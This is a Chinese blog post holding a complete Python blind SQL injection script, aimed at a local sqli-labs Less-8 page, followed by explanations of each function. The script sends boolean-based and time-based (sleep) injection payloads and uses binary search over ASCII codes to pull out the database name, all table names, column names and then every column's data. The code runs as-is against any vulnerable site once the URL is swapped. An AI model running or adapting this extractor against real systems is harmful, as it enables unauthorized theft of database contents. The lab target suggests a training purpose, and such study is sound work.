当前位置: 首页 > article >正文

时间盲注和boolen盲注中获取表,列以及具体数据的函数

import requests
import time
 
# 创建会话对象,用于保持与目标服务器的会话状态,便于多次请求
session = requests.session()
# 目标URL,是存在SQL注入漏洞的页面地址
url = "http://127.0.0.1/sqlilabs/Less-8/index.php"
 
 
# 通过布尔盲注获取当前使用的数据库名称
def getDatabase(url):
    results = []
    # 循环获取数据库名称的前7个字符
    for i in range(1, 8):
        # 二分查找ASCII码范围
        low, high = 32, 127
        while low <= high:
            mid = (low + high) // 2
            # 构造SQL注入参数,判断数据库名称第i个字符的ASCII码是否小于等于mid
            payload = {'id': f"1' and ord(substr(database(),{i},1))<={mid}--"}
            ret = session.get(url=url, params=payload)
            if 'You are in' in ret.text:
                high = mid - 1
                if low == mid:
                    # 找到字符,添加到结果列表
                    results.append(chr(mid))
                    print(''.join(results))
                    break
            else:
                low = mid + 1
    return ''.join(results)
 
 
# 通过时间盲注获取查询结果
def timeBasedBlindInjection(url, query):
    result = ""
    # 循环获取结果的前100个字符
    for i in range(1, 100):
        low, high = 32, 127
        while low <= high:
            mid = (low + high) // 2
            # 构造时间盲注参数,若字符ASCII码小于等于mid则让服务器休眠2秒
            payload = {'id': f"1' and if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1)--"}
            start = time.time()
            ret = session.get(url=url, params=payload)
            elapsed_time = time.time() - start
            if elapsed_time >= 2:
                high = mid - 1
                if low == mid:
                    # 找到字符,添加到结果字符串
                    result += chr(mid)
                    print(result)
                    break
            else:
                low = mid + 1
    return result
 
 
# 通过布尔盲注获取查询结果
def booleanBasedBlindInjection(url, query):
    result = ""
    # 循环获取结果的前100个字符
    for i in range(1, 100):
        low, high = 32, 127
        while low <= high:
            mid = (low + high) // 2
            # 构造布尔盲注参数,判断结果第i个字符的ASCII码是否小于等于mid
            payload = {'id': f"1' and ascii(substr(({query}),{i},1))<={mid}--"}
            ret = session.get(url=url, params=payload)
            if 'You are in' in ret.text:
                high = mid - 1
                if low == mid:
                    # 找到字符,添加到结果字符串
                    result += chr(mid)
                    print(result)
                    break
            else:
                low = mid + 1
    return result
 
 
# 获取指定数据库中的所有表名
def getTable(url, database_name):
    # 构造SQL查询语句,从系统表中获取表名
    query = f"select group_concat(table_name) from information_schema.tables where table_schema = '{database_name}'"
    return booleanBasedBlindInjection(url, query)
 
 
# 获取指定数据库和表中的所有列名
def getColumn(url, database_name, table_name):
    # 构造SQL查询语句,从系统表中获取列名
    query = f"select group_concat(column_name) from information_schema.columns where table_schema = '{database_name}' and table_name = '{table_name}'"
    return booleanBasedBlindInjection(url, query)
 
 
# 获取指定数据库、表和列中的数据
def getResult(url, database_name, table_name, column_name):
    # 构造SQL查询语句,获取表中指定列的数据
    query = f"select group_concat({column_name}) from {database_name}.{table_name}"
    return booleanBasedBlindInjection(url, query)
 
 
# 记录程序开始时间
start = time.time()
# 获取数据库名称
database_name = getDatabase(url)
print(f"Database Name: {database_name}")
 
# 获取数据库中的所有表名
tables = getTable(url, database_name)
print(f"Tables in {database_name}: {tables}")
 
if tables:
    table_list = tables.split(',')
    for table in table_list:
        # 获取表中的所有列名
        columns = getColumn(url, database_name, table)
        print(f"Columns in {table}: {columns}")
        if columns:
            column_list = columns.split(',')
            for column in column_list:
                # 获取列中的数据
                data = getResult(url, database_name, table, column)
                print(f"Data in {table}.{column}: {data}")
 
# 打印程序运行总耗时
print(f'time spend: {time.time() - start}')

getDatabase 函数

功能:获取目标数据库的名称。

实现逻辑

  • 该函数通常用于SQL注入攻击中,目的是获取当前连接的数据库名称。

  • 通过执行特定的SQL查询(如 SELECT DATABASE())来获取数据库名称。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测数据库名称。

示例

SELECT DATABASE();

imeBasedBlindInjection 函数

功能:执行基于时间的盲注攻击。

实现逻辑

  • 基于时间的盲注攻击是通过观察数据库响应时间来判断注入是否成功。

  • 该函数会构造特定的SQL查询,利用数据库的延时函数(如 SLEEP())来判断某个条件是否为真。

  • 例如,如果条件为真,数据库会延迟响应,否则立即返回。

示例

SELECT IF(1=1, SLEEP(5), 0);

booleanBasedBlindInjection 函数

功能:执行基于布尔的盲注攻击。

实现逻辑

  • 基于布尔的盲注攻击是通过观察数据库返回的不同响应(如真或假)来判断注入是否成功。

  • 该函数会构造特定的SQL查询,利用条件语句(如 IF)来判断某个条件是否为真。

  • 例如,如果条件为真,返回正常页面;否则返回错误页面或空页面。

示例

SELECT IF(1=1, 'true', 'false');

getTable 函数

功能:获取数据库中的表名。

实现逻辑

  • 该函数用于获取目标数据库中的表名。

  • 通过查询数据库的系统表(如 information_schema.tables)来获取表名。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测表名。

示例

SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

getColumn 函数

功能:获取指定表中的列名。

实现逻辑

  • 该函数用于获取指定表中的列名。

  • 通过查询数据库的系统表(如 information_schema.columns)来获取列名。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测列名。

示例

SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name';

getResult 函数

功能:获取指定表中的数据。

实现逻辑

  • 该函数用于从指定表中提取数据。

  • 通过构造SQL查询语句(如 SELECT)来获取表中的数据。

  • 在盲注攻击中,可能会通过布尔盲注或时间盲注的方式逐字符猜测数据内容。

示例

SELECT column_name FROM table_name WHERE condition;

总结

这些函数通常用于SQL注入攻击中,目的是从目标数据库中提取信息。getDatabase 用于获取数据库名称,imeBasedBlindInjection 和 booleanBasedBlindInjection 分别用于基于时间和布尔的盲注攻击,getTable 和 getColumn 用于获取表名和列名,getResult 用于获取表中的数据。这些函数的实现逻辑都依赖于构造特定的SQL查询,并通过观察数据库的响应来推断出所需的信息。


http://www.kler.cn/a/544502.html

相关文章:

  • 微服务架构,Spring Cloud、Kubernetes 以及云厂商(AWS、Azure)的管理方式
  • 使用 LangChain 对接硅基流动(SiliconFlow)API:构建一个智能对话系统
  • 哈尔滨算力服务器托管服务
  • JUC并发—2.Thread源码分析及案例应用
  • wordpress主题制作
  • 安全测试|SSRF请求伪造
  • Docker 常用命令基础详解(一)
  • 微信服务号推送消息
  • 【Linux】玩转Linux操作系统(四)文本处理
  • 从当下到未来:蓝耘平台和 DeepSeek 应用实践的路径探索,勾勒 AI 未来新蓝图
  • Golang的消息队列架构
  • VS2022中.Net Api + Vue 从创建到发布到IIS
  • cap2:1000分类的ResNet的TensorRT部署指南(python版)
  • CentOS-Stream 9更换RT实时内核
  • webpack研究,解决了什么问题
  • 第二十二章 P - R 开头的术语
  • 文心一言与gpt,核心原理对比
  • React源码揭秘 | scheduler 并发更新原理
  • 《五福临门》后期鉴赏(三)
  • C# ASP.NET的发展历程